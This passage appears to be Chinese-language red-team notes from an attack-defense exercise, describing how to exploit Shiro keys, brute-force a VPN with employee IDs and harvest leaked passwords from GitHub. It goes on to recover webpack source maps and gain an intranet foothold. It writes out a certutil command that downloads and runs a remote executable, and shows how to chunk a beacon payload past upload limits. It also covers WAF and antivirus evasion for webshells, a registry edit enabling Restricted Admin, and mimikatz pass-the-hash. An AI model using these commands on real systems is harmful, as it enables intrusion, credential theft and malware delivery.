-nnn, --no-browser Do not open web browser to view report
-v show program's version number and exit
找到key之后使用常规的漏洞工具无法正常利用,可能这时候很多人就放弃了,由于这两工具缺少部分利用链可能错过漏洞
改用其他工具,优势在于key的数量多,利用链全
建议使用feihong
大佬的工具,经典yyds
https://github.com/feihong-cs/ShiroExploit-Deprecated
优先选用第四种方案,右键源代码添加可访问的静态资源
正常执行命令
许多vpn、邮箱系统没有进行验证限制,可进行暴力破解
如 Global-Protect
谷歌了一波发现其用途是充当防火墙+VPN
由于系统缺少双因子认证,以工号信息为账号尝试爆破,成功获取到VPN的账号密码
连接VPN,进入内网
通过github筛选目标相关关键字 password
xx.com
源代码项目里面可能包含了各种密码,或者是提取指纹寻找源码进行审计
在攻防演练过程中,数据泄露分数占比也是较高的,我们可以多去寻找一些查询系统看看是否存在敏感信息泄露
信息搜集过程中通过360quake的图像预览发现了一个信息查询系统,猜测可能存在信息泄露问题
在前端位置,数据都是加密的
抓取查询数据,查看返回数据包发现是明文显示
在我们渗透过程中,越来越多的系统会采用webpack进行打包,如下图的指纹所示
工具自动化寻找未授权
https://github.com/rtcatc/Packer-Fuzzer
或查看js还原接口
右键源代码——查看检索js——在后面添加.map
curl -O http://xx.xx.xx.xx/*.js.map
之后会下载一个js.map,使用reverse-sourcemap
进行还原
npm install --global reverse-sourcemap
reverse-sourcemap --output-dir 生成的目录 app.6804b239.js.map
可寻找各种未授权的接口进行进一步的利用,可检索upload、add
等关键字
碰到没有验证码的站,可以尝试进行爆破
成功爆破到账密后,可寻找后台上传接口进行上传

2、certutil -urlcache -split -f http://x.x.x.x/a C:\Users\Public\1.exe && C:\Users\Public\1.exe
复制certutil文件

通过漏洞获取到一个webshell之后,在某些环境下可能会限制上传文件的大小和后缀
certutil -encode beacon.exe out.txt
certutil -decode out.txt test.exe
测试找到上传的最大的长度,使用工具进行文本切割
重新整合
copy 01.txt + 02.txt + 03.txt + 04.txt + 05.txt + 06.txt + 07.txt + 08.txt + 09.txt + 10.txt out.txt
成功上线
通过1day上传文件大概率会碰到被waf拦截的情况,可添加脏字符进行绕过,或者结合分块传输
上传的webshell木马最好做免杀处理,如哥斯拉木马可进行unicode编码,仍可正常执行
使用bof加载绕过
inline-execute C:\Users\MSI-NB\Desktop\BOF过杀软添加用户\bof-net-user-x64.o

修改注册表
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
mimikatz进行hash传递,之后会弹出一个框,填入相应的IP即可
